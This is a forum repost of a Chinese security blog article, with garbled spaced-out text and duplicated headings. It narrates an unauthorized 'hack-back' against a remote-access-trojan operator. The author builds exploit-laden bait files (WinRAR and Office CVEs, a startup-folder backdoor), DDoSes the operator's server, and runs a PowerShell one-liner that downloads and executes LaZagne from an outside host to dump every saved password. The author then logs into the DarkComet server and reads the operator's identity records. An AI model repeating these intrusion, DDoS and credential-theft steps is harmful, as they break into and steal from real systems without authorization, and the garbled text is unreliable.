搜索

[14018] 2019-04-22_看我如何揪出远控背后的幕后黑手

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-04-22_看我如何揪出远控背后的幕后黑手 看 我 如 何 揪 出 远 控 背 后 的 幕 后 黑 手 原 创   日 理 万 鸡   F r e e B u f   2 0 1 9 - 0 4 - 2 2 0 x 0 1   前 言 前 言 写 这 篇 文 章 时 ， 这 次 的 渗 透 已 经 完 成 一 周 多 了 ， 当 时 也 没 有 想 到 会 要 写 文 章 出 来 ， 所 以 有 一 部 截 图 是 后 来 补 上 的 ， 为 了 我 的 人 身 安 全 ， 有 涉 及 到 的 敏 感 信 息 ， 我 都 会 打 码 ， 请 多 多 包 写 这 篇 文 章 时 ， 这 次 的 渗 透 已 经 完 成 一 周 多 了 ， 当 时 也 没 有 想 到 会 要 写 文 章 出 来 ， 所 以 有 一 部 截 图 是 后 来 补 上 的 ， 为 了 我 的 人 身 安 全 ， 有 涉 及 到 的 敏 感 信 息 ， 我 都 会 打 码 ， 请 多 多 包 涵 。 涵 。 0 x 0 2   事 情 的 起 因 事 情 的 起 因 最 近 加 了 很 多 信 息 安 全 相 关 的 Q Q 群 ， 不 得 不 说 ， 在 这 些 群 里 面 受 益 匪 浅 ， 不 过 发 现 几 个 Q Q 群 友 ， 一 直 在 推 广 他 们 的 全 自 动 渗 透 工 具 ， 会 经 常 蹦 出 来 什 么 全 自 动 g e t s h e l l 工 具 箱 、 e x p 批 量 利 用 工 具 、 电 脑 手 机 远 程 管 理 工 具 等 等 ， 还 有 很 多 我 没 听 说 过 的 工 具 ， 比 如 下 面 这 些 。 0 x 0 3   发 现 可 疑 文 件 发 现 可 疑 文 件 花 了 半 天 时 间 ， 下 载 了 Q Q 群 中 大 大 小 小 好 几 款 相 关 的 工 具 分 析 了 下 ， 要 么 无 法 运 行 ， 各 种 报 错 ， 但 并 没 有 发 现 什 么 可 疑 的 点 。 在 准 备 放 弃 的 时 候 ， 果 不 其 然 ， 发 现 一 款 X i s e 菜 刀 ， 解 压 需 要 输 入 密 码 ， 单 就 这 一 点 我 就 觉 得 很 可 疑 了 。 二 话 不 说 ， 拨 掉 网 线 ， 打 开 虚 拟 机 ， 启 动 火 绒 剑 ， 运 行 该 可 疑 程 序 ， 用 火 绒 剑 监 控 程 序 进 程 、 文 件 访 问 、 动 作 、 网 络 连 接 等 情 况 ， 马 上 就 发 现 这 个 菜 刀 是 被 加 过 料 的 菜 刀 ， 菜 刀 自 身 会 创 建 j p g 文 件 到 C 盘 ， 并 且 加 注 册 表 ， 创 建 服 务 项 ， 还 一 直 反 向 连 接 一 个 境 外 I P 的 1 6 4 0 端 口 ， 走 T C P 流 量 。
微 步 一 查 此 I P ， 被 人 举 报 过 ， 确 定 是 老 黑 的 远 控 服 务 器 ， 并 且 能 p i n g 通 ， 基 本 确 定 下 来 了 ， 是 木 马 远 控 的 监 听 端 口 。 花 了 大 概 半 天 的 时 间 ， 对 这 台 服 务 器 进 行 了 常 规 的 渗 透 ， 从 信 息 搜 集 、 全 端 口 、 服 务 、 弱 口 令 、 绑 定 的 域 名 等 等 常 规 的 方 式 进 行 渗 透 ， 可 能 是 由 于 目 标 太 小 ， 也 可 能 是 自 己 技 术 太 菜 、 或 者 是 自 己 时 间 太 紧 等 等 原 因 ， 这 台 木 马 远 控 服 务 器 并 没 有 拿 下 来 ， 又 搞 了 半 天 ， 还 是 一 无 所 获 。 0 x 0 4   思 路 扩 展 思 路 扩 展 既 然 是 老 黑 的 远 控 ， 那 他 在 我 的 电 脑 里 面 种 了 木 马 之 后 ， 很 可 能 会 翻 我 电 脑 的 各 种 文 件 ， 于 是 就 将 计 就 计 吧 ， 那 我 精 心 制 作 一 些 比 较 有 吸 引 力 的 文 件 吧 ， 放 置 在 我 的 电 脑 桌 面 ， 让 老 黑 都 去 拿 。 于 是 我 在 外 网 搭 建 了 C o b a l t S t r i k e 远 控 ， 正 式 向 老 黑 发 起 了 战 争 。 C o b a l t S t r i k e 的 搭 建 请 参 考 ： h t t p : / / s u o . i m / 5 4 m I L 9 。 0 x 0 5   制 作 鱼 饵 制 作 鱼 饵 为 了 能 提 高 老 黑 电 脑 的 钓 鱼 上 线 成 功 率 ， 最 终 我 选 择 制 作 如 下 几 种 类 型 的 文 件 ， 放 置 到 我 的 电 脑 桌 面 ， 顺 便 把 我 制 作 的 过 程 分 享 给 兄 弟 们 。 1 、 制 作 、 制 作 w i n r a r 钓 鱼 压 缩 包 文 件 钓 鱼 压 缩 包 文 件 这 个 当 时 也 没 有 截 图 ， 家 里 电 脑 的 运 行 库 正 好 出 现 问 题 ， 无 法 复 现 制 作 过 程 了 。 不 过 制 作 还 是 很 简 单 的 ， 同 学 们 直 接 用 这 个 脚 本 制 作 就 行 ： h t t p s : / / g i t h u b . c o m / W y A t u / C V E 2 0 1 8 2 0 2 5 0 2 、 构 造 、 构 造 R D P I n c e p t i o n 后 门 ， 留 一 台 外 网 后 门 ， 留 一 台 外 网 V P S   G i t H u b 上 也 有 自 动 化 攻 击 一 个 脚 本 ： h t t p s : / / g i t h u b . c o m / m d s e c a c t i v e b r e a c h / R D P I n c e p t i o n ， 但 我 本 地 一 直 没 有 实 验 成 功 ， 于 是 自 己 写 了 以 下 三 个 文 件 。 p o w e r s h e l l . v b s 主 要 用 于 隐 藏 执 行 ， 不 会 出 现 黑 窗 口 三 个 文 件 的 内 容 如 下 ， 用 过 的 人 一 看 就 懂 了 ： 准 备 好 后 ， 我 注 销 了 外 网 这 台 V P S 服 务 器 ， 因 为 只 有 注 销 后 ， 被 人 登 录 才 会 触 发 我 的 v b s 脚 本 。 3 、 制 作 、 制 作 O f f i c e 文 档 木 马 （ 文 档 木 马 （ C V E ​ 2 0 1 7 ​ 8 5 7 0 ） ） 使 用 了 这 个 脚 本 ： h t t p s : / / g i t h u b . c o m / r x w x / C V E 2 0 1 7 8 5 7 0 修 改 了 c a l c 文 件 中 的 代 码 为 C o b a l t S t r i k e 远 控 上 线 代 码 制 作 出 来 的 文 件 ： p o w e r s h e l l . v b s 文 件 放 置 到 我 的 外 网 V P S 上 的 ： " C : U s e r s A d m i n i s t r a t o r A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t M e n u P r o g r a m s S t a r t u p p o w e r s h e l l . v b s " w i n d o w s . b a t 文 件 放 置 到 我 的 外 网 V P S 上 的 ： " C : w i n d o w s . b a t "   W i n d o w s M e d i a . b a t 文 件 放 置 到 我 的 外 网 V P S 上 的 ： " C : P r o g r a m   F i l e s W i n d o w s M e d i a . b a t "
4 、 最 终 效 果 、 最 终 效 果 所 有 的 文 件 和 压 缩 包 里 面 都 是 有 数 据 的 ， 做 的 也 不 能 太 假 了 。 下 图 是 放 在 桌 面 上 的 的 效 果 ， 这 些 文 件 都 是 加 过 料 的 后 门 （ 写 文 章 时 才 发 现 ， 不 知 道 为 什 么 ， 用 于 钓 鱼 的 电 脑 上 应 用 程 序 图 标 不 能 正 常 显 示 了 ） 。 鱼 饵 制 作 完 成 ， 在 钓 鱼 机 器 上 运 行 带 木 马 远 控 的 菜 刀 ， 对 了 ， 先 把 电 脑 上 的 相 关 解 压 工 具 、 O f f i c e ， 都 卸 载 掉 ， 这 些 加 过 料 的 文 件 就 无 法 在 我 本 机 上 打 开 ， 老 黑 想 要 查 看 ， 就 必 须 放 置 到 他 自 己 的 电 脑 上 解 压 后 才 能 打 开 。 0 x 0 6   D D O S 攻 击 至 宕 机 攻 击 至 宕 机 准 备 就 绪 ， 就 等 老 黑 来 上 钩 了 。 等 了 两 天 我 的 C o b a l t S t r i k e 没 有 反 应 ， 可 能 也 是 比 较 狡 猾 吧 ， 并 没 有 我 想 象 的 那 么 顺 利 ， 闲 来 无 事 ， 晚 上 找 了 一 个 压 力 测 试 平 台 ， 先 把 老 黑 的 木 马 远 控 服 务 器 打 宕 机 吧 。 呵 呵 ， 结 果 才 打 了 不 到 3 0 秒 ， 服 务 器 就 挂 了 … … 0 x 0 7   内 网 电 脑 上 钩 内 网 电 脑 上 钩 在 4 月 3 号 ， 我 用 于 钓 鱼 的 外 网 V P S 被 异 地 登 录 ， 钓 鱼 很 可 能 成 功 了 。
中 午 查 看 下 C 盘 我 V P S 上 的 W i n d o w s M e d i a . b a t 文 件 ， 文 件 已 经 不 在 了 ， 看 来 已 经 成 功 植 入 到 老 黑 的 电 脑 上 了 。 等 到 了 第 二 天 上 午 9 点 半 左 右 ， 我 的 C o b a l t S t r i k e 果 真 有 机 器 上 线 了 。 因 为 文 件 是 复 制 到 目 标 的 S t a r t 开 机 自 启 目 录 ， 需 要 机 器 重 启 才 会 引 起 上 线 ， 所 以 可 能 就 到 了 第 二 天 吧 。 截 个 图 ， 查 看 了 下 桌 面 ， 应 该 是 个 做 菠 菜 的 团 队 吧 ， S k y p e 聊 天 软 件 上 的 人 还 不 少 。 还 是 为 内 网 环 境 ： 好 了 这 个 先 不 管 ， 查 询 了 下 T a s k l i s t ， 个 人 机 器 居 然 没 有 发 现 杀 软 。
0 x 0 8   使 用 使 用 L a Z a g n e 抓 取 电 脑 上 各 种 连 接 密 码 抓 取 电 脑 上 各 种 连 接 密 码 发 现 被 控 的 电 脑 开 机 时 间 并 不 久 ， 大 概 也 能 判 断 出 来 ， 此 人 下 班 有 关 电 脑 的 习 惯 。 顺 手 就 给 他 加 个 后 门 维 持 吧 ， 为 了 不 打 草 惊 蛇 ， 破 坏 我 的 好 事 ， 等 到 中 年 1 2 点 半 他 去 午 休 睡 觉 ， 我 再 来 偷 偷 作 战 。 到 了 中 午 1 3 : 0 0   点 左 右 ， 果 然 计 算 机 还 在 线 。 本 来 想 用 m i m i k a t z 来 抓 密 码 ， 但 是 m i m i k a t 抓 的 太 少 了 ， 只 能 抓 系 统 密 码 ， 所 以 我 选 择 了 L a Z a g n e ， 直 接 用 以 下 命 令 一 键 抓 取 他 的 电 脑 上 所 有 密 码 （ W i f i 、 远 程 桌 面 、 系 统 密 码 、 C h r o m e 、 远 程 桌 面 等 等 保 存 的 密 码 ） ： 哈 哈 ， 今 天 又 是 一 大 波 收 获 ， 计 算 上 的 各 种 远 程 服 务 器 的 密 码 、 C h r o m e 网 站 密 码 、 其 中 最 重 要 的 木 马 远 控 服 务 器 账 号 密 码 全 部 搞 出 来 了 。 ( e c h o   p o w e r s h e l l   " ( $ c l i e n t   =   n e w ‐ o b j e c t   S y s t e m . N e t . W e b C l i e n t )   ‐ a n d ( $ c l i e n t . D o w n l o a d F i l e ( ' h t t p : / / w w w . h u i h u n . m l / l a Z a g n e . e x e ' , ' w m p l a y e . e x e ' ) )   ‐ a n d   ( e x i t ) " )   |   c m d   & &   w m p l a y e . e x e   a l l
0 x 0 9   成 功 登 上 木 马 远 控 服 务 器 成 功 登 上 木 马 远 控 服 务 器 使 用 抓 取 出 来 的 账 号 与 密 码 登 录 木 马 远 控 服 务 器 。 老 黑 原 来 使 用 的 是 D a r k C o m e t R A T 远 控 ，   上 面 被 控 的 机 器 还 真 不 少 。 哈 哈 ， 此 次 收 获 的 资 料 也 不 少 ， 随 便 登 录 其 中 一 些 W E B 域 名 管 理 系 统 ， 更 加 确 定 又 是 一 个 做 菠 菜 的 了 ， 突 然 感 觉 就 要 发 财 了 ， 为 了 人 身 安 全 考 虑 ， 其 中 的 域 名 我 就 不 贴 出 来 了 。 在 其 中 的 一 个 系 统 中 ， 找 到 了 他 的 身 份 证 实 名 信 息 ， 企 业 营 业 执 行 、 我 也 不 知 是 真 还 是 假 。 0 x 1 0   横 向 渗 透 、 干 内 网 、 举 报 一 波 横 向 渗 透 、 干 内 网 、 举 报 一 波 到 这 里 关 于 反 向 的 钓 鱼 就 先 告 一 段 落 ， 明 天 要 上 班 工 作 ， 今 晚 准 备 通 宵 干 他 的 内 网 ， 再 举 报 一 波 。 0 x 1 1   此 次 的 反 向 钓 鱼 流 程 此 次 的 反 向 钓 鱼 流 程 0 x 1 2   总 结 总 结 本 次 制 作 了 三 种 类 型 的 钓 鱼 文 件 ， 结 果 只 有 一 种 成 功 利 用 上 钩 了 。 并 不 是 每 次 定 向 钓 鱼 都 会 成 功 ， 很 多 时 候 都 是 失 败 告 终 的 ， 个 人 业 余 玩 玩 ， 所 以 此 次 的 对 抗 并 没 有 什 么 目 标 ， 这 些 都 是 工 作 之 余 抽 出 来 时 间 在 做 。 在 刚 开 始 的 时 候 也 没 有 那 么 顺 利 ， 在 制 作 钓 鱼 文 件 之 初 ， 会 出 现 许 多 大 大 小 小 的 问 题 ， 到 最 后 攻 击 过 程 的 整 理 也 花 了 不 少 精 力 ， 此 次 钓 鱼 成 功 ， 从 开 始 到 结 束 ， 大 概 花 了 我 半 个 月 时 间 左 右 ， 但 收 获 的 东 西 确 实 也 不 少 。 所 以 在 日 常 工 作 还 有 生 活 中 ， 同 学 们 还 是 要 提 高 安 全 意 识 ， 不 要 运 行 来 历 不 明 的 程 序 、 文 档 、 文 件 ， 下 载 的 文 件 很 可 能 就 被 人 绑 了 木 马 病 毒 ， 并 不 是 所 有 的 杀 软 都 能 查 杀 的 。 在 此 也 奉 劝 那 些 心 怀 不 轨 的 兄 弟 们 ， 大 家 也 是 成 年 人 了 ， 人 在 做 ， 天 在 看 ， 邪 不 压 正 ， 请 好 自 为 之 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： 日 理 万 鸡 ， 本 文 属 日 理 万 鸡 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 推 荐 阅 读 推 荐 阅 读
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理